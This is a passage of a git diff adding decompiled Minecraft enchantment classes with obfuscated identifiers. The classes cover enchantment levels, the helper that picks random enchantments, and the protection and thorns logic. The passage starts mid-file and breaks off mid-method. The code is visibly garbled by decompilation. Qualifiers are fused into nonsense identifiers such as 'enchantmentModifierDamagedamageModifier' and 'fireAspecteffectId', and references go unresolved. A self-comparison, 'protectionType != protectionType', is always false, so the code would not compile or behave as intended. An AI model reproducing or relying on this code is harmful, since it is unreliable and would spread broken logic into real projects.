+{
+  public final Enchantment enchantmentobj;
+  public final int enchantmentLevel;
+  private static final String __OBFID = "CL_00000115";
+  
+  public EnchantmentData(Enchantment p_i1930_1_, int p_i1930_2_)
+  {
+    super(p_i1930_1_.getWeight());
+    enchantmentobj = p_i1930_1_;
+    enchantmentLevel = p_i1930_2_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentDigging.java b/src/minecraft/net/minecraft/enchantment/EnchantmentDigging.java
new file mode 100644
index 0000000..add1539
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentDigging.java
@@ -0,0 +1,45 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentDigging extends Enchantment
+{
+  private static final String __OBFID = "CL_00000104";
+  
+  protected EnchantmentDigging(int p_i45772_1_, ResourceLocation p_i45772_2_, int p_i45772_3_)
+  {
+    super(p_i45772_1_, p_i45772_2_, p_i45772_3_, EnumEnchantmentType.DIGGER);
+    setName("digging");
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 1 + 10 * (p_77321_1_ - 1);
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return super.getMinEnchantability(p_77317_1_) + 50;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 5;
+  }
+  
+  public boolean canApply(ItemStack p_92089_1_)
+  {
+    return p_92089_1_.getItem() == Items.shears ? true : super.canApply(p_92089_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentDurability.java b/src/minecraft/net/minecraft/enchantment/EnchantmentDurability.java
new file mode 100644
index 0000000..c16cb2f
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentDurability.java
@@ -0,0 +1,56 @@
+package net.minecraft.enchantment;
+
+import java.util.Random;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentDurability extends Enchantment
+{
+  private static final String __OBFID = "CL_00000103";
+  
+  protected EnchantmentDurability(int p_i45773_1_, ResourceLocation p_i45773_2_, int p_i45773_3_)
+  {
+    super(p_i45773_1_, p_i45773_2_, p_i45773_3_, EnumEnchantmentType.BREAKABLE);
+    setName("durability");
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 5 + (p_77321_1_ - 1) * 8;
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return super.getMinEnchantability(p_77317_1_) + 50;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 3;
+  }
+  
+  public boolean canApply(ItemStack p_92089_1_)
+  {
+    return p_92089_1_.isItemStackDamageable() ? true : super.canApply(p_92089_1_);
+  }
+  
+
+
+
+
+
+  public static boolean negateDamage(ItemStack p_92097_0_, int p_92097_1_, Random p_92097_2_)
+  {
+    return (!(p_92097_0_.getItem() instanceof ItemArmor)) || (p_92097_2_.nextFloat() >= 0.6F);
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentFireAspect.java b/src/minecraft/net/minecraft/enchantment/EnchantmentFireAspect.java
new file mode 100644
index 0000000..0dbde1f
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentFireAspect.java
@@ -0,0 +1,38 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentFireAspect extends Enchantment
+{
+  private static final String __OBFID = "CL_00000116";
+  
+  protected EnchantmentFireAspect(int p_i45770_1_, ResourceLocation p_i45770_2_, int p_i45770_3_)
+  {
+    super(p_i45770_1_, p_i45770_2_, p_i45770_3_, EnumEnchantmentType.WEAPON);
+    setName("fire");
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 10 + 20 * (p_77321_1_ - 1);
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return super.getMinEnchantability(p_77317_1_) + 50;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentFishingSpeed.java b/src/minecraft/net/minecraft/enchantment/EnchantmentFishingSpeed.java
new file mode 100644
index 0000000..d0a0424
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentFishingSpeed.java
@@ -0,0 +1,38 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentFishingSpeed extends Enchantment
+{
+  private static final String __OBFID = "CL_00000117";
+  
+  protected EnchantmentFishingSpeed(int p_i45769_1_, ResourceLocation p_i45769_2_, int p_i45769_3_, EnumEnchantmentType p_i45769_4_)
+  {
+    super(p_i45769_1_, p_i45769_2_, p_i45769_3_, p_i45769_4_);
+    setName("fishingSpeed");
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 15 + (p_77321_1_ - 1) * 9;
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return super.getMinEnchantability(p_77317_1_) + 50;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 3;
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentHelper.java b/src/minecraft/net/minecraft/enchantment/EnchantmentHelper.java
new file mode 100644
index 0000000..aa4ef34
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentHelper.java
@@ -0,0 +1,616 @@
+package net.minecraft.enchantment;
+
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import java.util.Set;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.EnumCreatureAttribute;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemEnchantedBook;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.WeightedRandom;
+
+public class EnchantmentHelper
+{
+  private static final Random enchantmentRand = new Random();
+  
+
+
+
+  private static final ModifierDamage enchantmentModifierDamage = new ModifierDamage(null);
+  
+
+
+
+  private static final ModifierLiving enchantmentModifierLiving = new ModifierLiving(null);
+  private static final HurtIterator field_151388_d = new HurtIterator(null);
+  private static final DamageIterator field_151389_e = new DamageIterator(null);
+  
+  private static final String __OBFID = "CL_00000107";
+  
+  public EnchantmentHelper() {}
+  
+  public static int getEnchantmentLevel(int p_77506_0_, ItemStack p_77506_1_)
+  {
+    if (p_77506_1_ == null)
+    {
+      return 0;
+    }
+    
+
+    NBTTagList var2 = p_77506_1_.getEnchantmentTagList();
+    
+    if (var2 == null)
+    {
+      return 0;
+    }
+    
+
+    for (int var3 = 0; var3 < var2.tagCount(); var3++)
+    {
+      short var4 = var2.getCompoundTagAt(var3).getShort("id");
+      short var5 = var2.getCompoundTagAt(var3).getShort("lvl");
+      
+      if (var4 == p_77506_0_)
+      {
+        return var5;
+      }
+    }
+    
+    return 0;
+  }
+  
+
+
+
+
+
+  public static Map getEnchantments(ItemStack p_82781_0_)
+  {
+    LinkedHashMap var1 = Maps.newLinkedHashMap();
+    NBTTagList var2 = p_82781_0_.getItem() == Items.enchanted_book ? Items.enchanted_book.func_92110_g(p_82781_0_) : p_82781_0_.getEnchantmentTagList();
+    
+    if (var2 != null)
+    {
+      for (int var3 = 0; var3 < var2.tagCount(); var3++)
+      {
+        short var4 = var2.getCompoundTagAt(var3).getShort("id");
+        short var5 = var2.getCompoundTagAt(var3).getShort("lvl");
+        var1.put(Integer.valueOf(var4), Integer.valueOf(var5));
+      }
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  public static void setEnchantments(Map p_82782_0_, ItemStack p_82782_1_)
+  {
+    NBTTagList var2 = new NBTTagList();
+    Iterator var3 = p_82782_0_.keySet().iterator();
+    
+    while (var3.hasNext())
+    {
+      int var4 = ((Integer)var3.next()).intValue();
+      Enchantment var5 = Enchantment.func_180306_c(var4);
+      
+      if (var5 != null)
+      {
+        NBTTagCompound var6 = new NBTTagCompound();
+        var6.setShort("id", (short)var4);
+        var6.setShort("lvl", (short)((Integer)p_82782_0_.get(Integer.valueOf(var4))).intValue());
+        var2.appendTag(var6);
+        
+        if (p_82782_1_.getItem() == Items.enchanted_book)
+        {
+          Items.enchanted_book.addEnchantment(p_82782_1_, new EnchantmentData(var5, ((Integer)p_82782_0_.get(Integer.valueOf(var4))).intValue()));
+        }
+      }
+    }
+    
+    if (var2.tagCount() > 0)
+    {
+      if (p_82782_1_.getItem() != Items.enchanted_book)
+      {
+        p_82782_1_.setTagInfo("ench", var2);
+      }
+    }
+    else if (p_82782_1_.hasTagCompound())
+    {
+      p_82782_1_.getTagCompound().removeTag("ench");
+    }
+  }
+  
+
+
+
+  public static int getMaxEnchantmentLevel(int p_77511_0_, ItemStack[] p_77511_1_)
+  {
+    if (p_77511_1_ == null)
+    {
+      return 0;
+    }
+    
+
+    int var2 = 0;
+    ItemStack[] var3 = p_77511_1_;
+    int var4 = p_77511_1_.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      ItemStack var6 = var3[var5];
+      int var7 = getEnchantmentLevel(p_77511_0_, var6);
+      
+      if (var7 > var2)
+      {
+        var2 = var7;
+      }
+    }
+    
+    return var2;
+  }
+  
+
+
+
+
+  private static void applyEnchantmentModifier(IModifier p_77518_0_, ItemStack p_77518_1_)
+  {
+    if (p_77518_1_ != null)
+    {
+      NBTTagList var2 = p_77518_1_.getEnchantmentTagList();
+      
+      if (var2 != null)
+      {
+        for (int var3 = 0; var3 < var2.tagCount(); var3++)
+        {
+          short var4 = var2.getCompoundTagAt(var3).getShort("id");
+          short var5 = var2.getCompoundTagAt(var3).getShort("lvl");
+          
+          if (Enchantment.func_180306_c(var4) != null)
+          {
+            p_77518_0_.calculateModifier(Enchantment.func_180306_c(var4), var5);
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  private static void applyEnchantmentModifierArray(IModifier p_77516_0_, ItemStack[] p_77516_1_)
+  {
+    ItemStack[] var2 = p_77516_1_;
+    int var3 = p_77516_1_.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      ItemStack var5 = var2[var4];
+      applyEnchantmentModifier(p_77516_0_, var5);
+    }
+  }
+  
+
+
+
+  public static int getEnchantmentModifierDamage(ItemStack[] p_77508_0_, DamageSource p_77508_1_)
+  {
+    enchantmentModifierDamagedamageModifier = 0;
+    enchantmentModifierDamagesource = p_77508_1_;
+    applyEnchantmentModifierArray(enchantmentModifierDamage, p_77508_0_);
+    
+    if (enchantmentModifierDamagedamageModifier > 25)
+    {
+      enchantmentModifierDamagedamageModifier = 25;
+    }
+    
+    return (enchantmentModifierDamagedamageModifier + 1 >> 1) + enchantmentRand.nextInt((enchantmentModifierDamagedamageModifier >> 1) + 1);
+  }
+  
+  public static float func_152377_a(ItemStack p_152377_0_, EnumCreatureAttribute p_152377_1_)
+  {
+    enchantmentModifierLivinglivingModifier = 0.0F;
+    enchantmentModifierLivingentityLiving = p_152377_1_;
+    applyEnchantmentModifier(enchantmentModifierLiving, p_152377_0_);
+    return enchantmentModifierLivinglivingModifier;
+  }
+  
+  public static void func_151384_a(EntityLivingBase p_151384_0_, Entity p_151384_1_)
+  {
+    field_151388_dfield_151363_b = p_151384_1_;
+    field_151388_dfield_151364_a = p_151384_0_;
+    
+    if (p_151384_0_ != null)
+    {
+      applyEnchantmentModifierArray(field_151388_d, p_151384_0_.getInventory());
+    }
+    
+    if ((p_151384_1_ instanceof EntityPlayer))
+    {
+      applyEnchantmentModifier(field_151388_d, p_151384_0_.getHeldItem());
+    }
+  }
+  
+  public static void func_151385_b(EntityLivingBase p_151385_0_, Entity p_151385_1_)
+  {
+    field_151389_efield_151366_a = p_151385_0_;
+    field_151389_efield_151365_b = p_151385_1_;
+    
+    if (p_151385_0_ != null)
+    {
+      applyEnchantmentModifierArray(field_151389_e, p_151385_0_.getInventory());
+    }
+    
+    if ((p_151385_0_ instanceof EntityPlayer))
+    {
+      applyEnchantmentModifier(field_151389_e, p_151385_0_.getHeldItem());
+    }
+  }
+  
+
+
+
+  public static int getRespiration(EntityLivingBase p_77501_0_)
+  {
+    return getEnchantmentLevel(field_180313_oeffectId, p_77501_0_.getHeldItem());
+  }
+  
+  public static int getFireAspectModifier(EntityLivingBase p_90036_0_)
+  {
+    return getEnchantmentLevel(fireAspecteffectId, p_90036_0_.getHeldItem());
+  }
+  
+  public static int func_180319_a(Entity p_180319_0_)
+  {
+    return getMaxEnchantmentLevel(field_180317_heffectId, p_180319_0_.getInventory());
+  }
+  
+  public static int func_180318_b(Entity p_180318_0_)
+  {
+    return getMaxEnchantmentLevel(field_180316_keffectId, p_180318_0_.getInventory());
+  }
+  
+
+
+
+  public static int getEfficiencyModifier(EntityLivingBase p_77509_0_)
+  {
+    return getEnchantmentLevel(efficiencyeffectId, p_77509_0_.getHeldItem());
+  }
+  
+
+
+
+  public static boolean getSilkTouchModifier(EntityLivingBase p_77502_0_)
+  {
+    return getEnchantmentLevel(silkToucheffectId, p_77502_0_.getHeldItem()) > 0;
+  }
+  
+
+
+
+  public static int getFortuneModifier(EntityLivingBase p_77517_0_)
+  {
+    return getEnchantmentLevel(fortuneeffectId, p_77517_0_.getHeldItem());
+  }
+  
+  public static int func_151386_g(EntityLivingBase p_151386_0_)
+  {
+    return getEnchantmentLevel(luckOfTheSeaeffectId, p_151386_0_.getHeldItem());
+  }
+  
+  public static int func_151387_h(EntityLivingBase p_151387_0_)
+  {
+    return getEnchantmentLevel(lureeffectId, p_151387_0_.getHeldItem());
+  }
+  
+
+
+
+  public static int getLootingModifier(EntityLivingBase p_77519_0_)
+  {
+    return getEnchantmentLevel(lootingeffectId, p_77519_0_.getHeldItem());
+  }
+  
+
+
+
+  public static boolean getAquaAffinityModifier(EntityLivingBase p_77510_0_)
+  {
+    return getMaxEnchantmentLevel(aquaAffinityeffectId, p_77510_0_.getInventory()) > 0;
+  }
+  
+  public static ItemStack func_92099_a(Enchantment p_92099_0_, EntityLivingBase p_92099_1_)
+  {
+    ItemStack[] var2 = p_92099_1_.getInventory();
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      ItemStack var5 = var2[var4];
+      
+      if ((var5 != null) && (getEnchantmentLevel(effectId, var5) > 0))
+      {
+        return var5;
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+
+  public static int calcItemStackEnchantability(Random p_77514_0_, int p_77514_1_, int p_77514_2_, ItemStack p_77514_3_)
+  {
+    Item var4 = p_77514_3_.getItem();
+    int var5 = var4.getItemEnchantability();
+    
+    if (var5 <= 0)
+    {
+      return 0;
+    }
+    
+
+    if (p_77514_2_ > 15)
+    {
+      p_77514_2_ = 15;
+    }
+    
+    int var6 = p_77514_0_.nextInt(8) + 1 + (p_77514_2_ >> 1) + p_77514_0_.nextInt(p_77514_2_ + 1);
+    return p_77514_1_ == 1 ? var6 * 2 / 3 + 1 : p_77514_1_ == 0 ? Math.max(var6 / 3, 1) : Math.max(var6, p_77514_2_ * 2);
+  }
+  
+
+
+
+
+  public static ItemStack addRandomEnchantment(Random p_77504_0_, ItemStack p_77504_1_, int p_77504_2_)
+  {
+    List var3 = buildEnchantmentList(p_77504_0_, p_77504_1_, p_77504_2_);
+    boolean var4 = p_77504_1_.getItem() == Items.book;
+    
+    if (var4)
+    {
+      p_77504_1_.setItem(Items.enchanted_book);
+    }
+    
+    if (var3 != null)
+    {
+      Iterator var5 = var3.iterator();
+      
+      while (var5.hasNext())
+      {
+        EnchantmentData var6 = (EnchantmentData)var5.next();
+        
+        if (var4)
+        {
+          Items.enchanted_book.addEnchantment(p_77504_1_, var6);
+        }
+        else
+        {
+          p_77504_1_.addEnchantment(enchantmentobj, enchantmentLevel);
+        }
+      }
+    }
+    
+    return p_77504_1_;
+  }
+  
+
+
+
+
+  public static List buildEnchantmentList(Random p_77513_0_, ItemStack p_77513_1_, int p_77513_2_)
+  {
+    Item var3 = p_77513_1_.getItem();
+    int var4 = var3.getItemEnchantability();
+    
+    if (var4 <= 0)
+    {
+      return null;
+    }
+    
+
+    var4 /= 2;
+    var4 = 1 + p_77513_0_.nextInt((var4 >> 1) + 1) + p_77513_0_.nextInt((var4 >> 1) + 1);
+    int var5 = var4 + p_77513_2_;
+    float var6 = (p_77513_0_.nextFloat() + p_77513_0_.nextFloat() - 1.0F) * 0.15F;
+    int var7 = (int)(var5 * (1.0F + var6) + 0.5F);
+    
+    if (var7 < 1)
+    {
+      var7 = 1;
+    }
+    
+    ArrayList var8 = null;
+    Map var9 = mapEnchantmentData(var7, p_77513_1_);
+    
+    if ((var9 != null) && (!var9.isEmpty()))
+    {
+      EnchantmentData var10 = (EnchantmentData)WeightedRandom.getRandomItem(p_77513_0_, var9.values());
+      
+      if (var10 != null)
+      {
+        var8 = com.google.common.collect.Lists.newArrayList();
+        var8.add(var10);
+        
+        for (int var11 = var7; p_77513_0_.nextInt(50) <= var11; var11 >>= 1)
+        {
+          Iterator var12 = var9.keySet().iterator();
+          
+          while (var12.hasNext())
+          {
+            Integer var13 = (Integer)var12.next();
+            boolean var14 = true;
+            Iterator var15 = var8.iterator();
+            
+
+
+            while (var15.hasNext())
+            {
+              EnchantmentData var16 = (EnchantmentData)var15.next();
+              
+              if (!enchantmentobj.canApplyTogether(Enchantment.func_180306_c(var13.intValue())))
+              {
+
+
+
+                var14 = false;
+              }
+            }
+            if (!var14)
+            {
+              var12.remove();
+            }
+          }
+          
+
+
+
+          if (!var9.isEmpty())
+          {
+            EnchantmentData var17 = (EnchantmentData)WeightedRandom.getRandomItem(p_77513_0_, var9.values());
+            var8.add(var17);
+          }
+        }
+      }
+    }
+    
+    return var8;
+  }
+  
+
+
+
+
+
+  public static Map mapEnchantmentData(int p_77505_0_, ItemStack p_77505_1_)
+  {
+    Item var2 = p_77505_1_.getItem();
+    HashMap var3 = null;
+    boolean var4 = p_77505_1_.getItem() == Items.book;
+    Enchantment[] var5 = Enchantment.enchantmentsList;
+    int var6 = var5.length;
+    
+    for (int var7 = 0; var7 < var6; var7++)
+    {
+      Enchantment var8 = var5[var7];
+      
+      if ((var8 != null) && ((type.canEnchantItem(var2)) || (var4)))
+      {
+        for (int var9 = var8.getMinLevel(); var9 <= var8.getMaxLevel(); var9++)
+        {
+          if ((p_77505_0_ >= var8.getMinEnchantability(var9)) && (p_77505_0_ <= var8.getMaxEnchantability(var9)))
+          {
+            if (var3 == null)
+            {
+              var3 = Maps.newHashMap();
+            }
+            
+            var3.put(Integer.valueOf(effectId), new EnchantmentData(var8, var9));
+          }
+        }
+      }
+    }
+    
+    return var3;
+  }
+  
+  static final class DamageIterator implements EnchantmentHelper.IModifier
+  {
+    public EntityLivingBase field_151366_a;
+    public Entity field_151365_b;
+    private static final String __OBFID = "CL_00000109";
+    
+    private DamageIterator() {}
+    
+    public void calculateModifier(Enchantment p_77493_1_, int p_77493_2_)
+    {
+      p_77493_1_.func_151368_a(field_151366_a, field_151365_b, p_77493_2_);
+    }
+    
+    DamageIterator(Object p_i45359_1_)
+    {
+      this();
+    }
+  }
+  
+  static final class HurtIterator implements EnchantmentHelper.IModifier
+  {
+    public EntityLivingBase field_151364_a;
+    public Entity field_151363_b;
+    private static final String __OBFID = "CL_00000110";
+    
+    private HurtIterator() {}
+    
+    public void calculateModifier(Enchantment p_77493_1_, int p_77493_2_)
+    {
+      p_77493_1_.func_151367_b(field_151364_a, field_151363_b, p_77493_2_);
+    }
+    
+    HurtIterator(Object p_i45360_1_)
+    {
+      this();
+    }
+  }
+  
+  static abstract interface IModifier
+  {
+    public abstract void calculateModifier(Enchantment paramEnchantment, int paramInt);
+  }
+  
+  static final class ModifierDamage implements EnchantmentHelper.IModifier
+  {
+    public int damageModifier;
+    public DamageSource source;
+    private static final String __OBFID = "CL_00000114";
+    
+    private ModifierDamage() {}
+    
+    public void calculateModifier(Enchantment p_77493_1_, int p_77493_2_)
+    {
+      damageModifier += p_77493_1_.calcModifierDamage(p_77493_2_, source);
+    }
+    
+    ModifierDamage(Object p_i1929_1_)
+    {
+      this();
+    }
+  }
+  
+  static final class ModifierLiving implements EnchantmentHelper.IModifier
+  {
+    public float livingModifier;
+    public EnumCreatureAttribute entityLiving;
+    private static final String __OBFID = "CL_00000112";
+    
+    private ModifierLiving() {}
+    
+    public void calculateModifier(Enchantment p_77493_1_, int p_77493_2_)
+    {
+      livingModifier += p_77493_1_.func_152376_a(p_77493_2_, entityLiving);
+    }
+    
+    ModifierLiving(Object p_i1928_1_)
+    {
+      this();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentKnockback.java b/src/minecraft/net/minecraft/enchantment/EnchantmentKnockback.java
new file mode 100644
index 0000000..302e341
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentKnockback.java
@@ -0,0 +1,38 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentKnockback extends Enchantment
+{
+  private static final String __OBFID = "CL_00000118";
+  
+  protected EnchantmentKnockback(int p_i45768_1_, ResourceLocation p_i45768_2_, int p_i45768_3_)
+  {
+    super(p_i45768_1_, p_i45768_2_, p_i45768_3_, EnumEnchantmentType.WEAPON);
+    setName("knockback");
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 5 + 20 * (p_77321_1_ - 1);
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return super.getMinEnchantability(p_77317_1_) + 50;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentLootBonus.java b/src/minecraft/net/minecraft/enchantment/EnchantmentLootBonus.java
new file mode 100644
index 0000000..64899f0
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentLootBonus.java
@@ -0,0 +1,58 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentLootBonus extends Enchantment
+{
+  private static final String __OBFID = "CL_00000119";
+  
+  protected EnchantmentLootBonus(int p_i45767_1_, ResourceLocation p_i45767_2_, int p_i45767_3_, EnumEnchantmentType p_i45767_4_)
+  {
+    super(p_i45767_1_, p_i45767_2_, p_i45767_3_, p_i45767_4_);
+    
+    if (p_i45767_4_ == EnumEnchantmentType.DIGGER)
+    {
+      setName("lootBonusDigger");
+    }
+    else if (p_i45767_4_ == EnumEnchantmentType.FISHING_ROD)
+    {
+      setName("lootBonusFishing");
+    }
+    else
+    {
+      setName("lootBonus");
+    }
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 15 + (p_77321_1_ - 1) * 9;
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return super.getMinEnchantability(p_77317_1_) + 50;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 3;
+  }
+  
+
+
+
+  public boolean canApplyTogether(Enchantment p_77326_1_)
+  {
+    return (super.canApplyTogether(p_77326_1_)) && (effectId != silkToucheffectId);
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentOxygen.java b/src/minecraft/net/minecraft/enchantment/EnchantmentOxygen.java
new file mode 100644
index 0000000..7074a82
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentOxygen.java
@@ -0,0 +1,38 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentOxygen extends Enchantment
+{
+  private static final String __OBFID = "CL_00000120";
+  
+  public EnchantmentOxygen(int p_i45766_1_, ResourceLocation p_i45766_2_, int p_i45766_3_)
+  {
+    super(p_i45766_1_, p_i45766_2_, p_i45766_3_, EnumEnchantmentType.ARMOR_HEAD);
+    setName("oxygen");
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 10 * p_77321_1_;
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return getMinEnchantability(p_77317_1_) + 30;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 3;
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentProtection.java b/src/minecraft/net/minecraft/enchantment/EnchantmentProtection.java
new file mode 100644
index 0000000..6a48052
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentProtection.java
@@ -0,0 +1,137 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentProtection
+  extends Enchantment
+{
+  private static final String[] protectionName = { "all", "fire", "fall", "explosion", "projectile" };
+  
+
+
+
+  private static final int[] baseEnchantability = { 1, 10, 5, 5, 3 };
+  
+
+
+
+  private static final int[] levelEnchantability = { 11, 8, 6, 8, 6 };
+  
+
+
+
+
+  private static final int[] thresholdEnchantability = { 20, 12, 10, 12, 15 };
+  
+
+  public final int protectionType;
+  
+
+  private static final String __OBFID = "CL_00000121";
+  
+
+  public EnchantmentProtection(int p_i45765_1_, ResourceLocation p_i45765_2_, int p_i45765_3_, int p_i45765_4_)
+  {
+    super(p_i45765_1_, p_i45765_2_, p_i45765_3_, EnumEnchantmentType.ARMOR);
+    protectionType = p_i45765_4_;
+    
+    if (p_i45765_4_ == 2)
+    {
+      type = EnumEnchantmentType.ARMOR_FEET;
+    }
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return baseEnchantability[protectionType] + (p_77321_1_ - 1) * levelEnchantability[protectionType];
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return getMinEnchantability(p_77317_1_) + thresholdEnchantability[protectionType];
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 4;
+  }
+  
+
+
+
+  public int calcModifierDamage(int p_77318_1_, DamageSource p_77318_2_)
+  {
+    if (p_77318_2_.canHarmInCreative())
+    {
+      return 0;
+    }
+    
+
+    float var3 = (6 + p_77318_1_ * p_77318_1_) / 3.0F;
+    return (protectionType == 4) && (p_77318_2_.isProjectile()) ? MathHelper.floor_float(var3 * 1.5F) : (protectionType == 3) && (p_77318_2_.isExplosion()) ? MathHelper.floor_float(var3 * 1.5F) : (protectionType == 2) && (p_77318_2_ == DamageSource.fall) ? MathHelper.floor_float(var3 * 2.5F) : (protectionType == 1) && (p_77318_2_.isFireDamage()) ? MathHelper.floor_float(var3 * 1.25F) : protectionType == 0 ? MathHelper.floor_float(var3 * 0.75F) : 0;
+  }
+  
+
+
+
+
+  public String getName()
+  {
+    return "enchantment.protect." + protectionName[protectionType];
+  }
+  
+
+
+
+  public boolean canApplyTogether(Enchantment p_77326_1_)
+  {
+    if ((p_77326_1_ instanceof EnchantmentProtection))
+    {
+      EnchantmentProtection var2 = (EnchantmentProtection)p_77326_1_;
+      return protectionType != protectionType;
+    }
+    
+
+    return super.canApplyTogether(p_77326_1_);
+  }
+  
+
+
+
+
+  public static int getFireTimeForEntity(Entity p_92093_0_, int p_92093_1_)
+  {
+    int var2 = EnchantmentHelper.getMaxEnchantmentLevel(fireProtectioneffectId, p_92093_0_.getInventory());
+    
+    if (var2 > 0)
+    {
+      p_92093_1_ -= MathHelper.floor_float(p_92093_1_ * var2 * 0.15F);
+    }
+    
+    return p_92093_1_;
+  }
+  
+  public static double func_92092_a(Entity p_92092_0_, double p_92092_1_)
+  {
+    int var3 = EnchantmentHelper.getMaxEnchantmentLevel(blastProtectioneffectId, p_92092_0_.getInventory());
+    
+    if (var3 > 0)
+    {
+      p_92092_1_ -= MathHelper.floor_double(p_92092_1_ * (var3 * 0.15F));
+    }
+    
+    return p_92092_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentThorns.java b/src/minecraft/net/minecraft/enchantment/EnchantmentThorns.java
new file mode 100644
index 0000000..1c7ef7e
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentThorns.java
@@ -0,0 +1,80 @@
+package net.minecraft.enchantment;
+
+import java.util.Random;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentThorns extends Enchantment
+{
+  private static final String __OBFID = "CL_00000122";
+  
+  public EnchantmentThorns(int p_i45764_1_, ResourceLocation p_i45764_2_, int p_i45764_3_)
+  {
+    super(p_i45764_1_, p_i45764_2_, p_i45764_3_, EnumEnchantmentType.ARMOR_TORSO);
+    setName("thorns");
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 10 + 20 * (p_77321_1_ - 1);
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return super.getMinEnchantability(p_77317_1_) + 50;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 3;
+  }
+  
+  public boolean canApply(ItemStack p_92089_1_)
+  {
+    return (p_92089_1_.getItem() instanceof ItemArmor) ? true : super.canApply(p_92089_1_);
+  }
+  
+  public void func_151367_b(EntityLivingBase p_151367_1_, Entity p_151367_2_, int p_151367_3_)
+  {
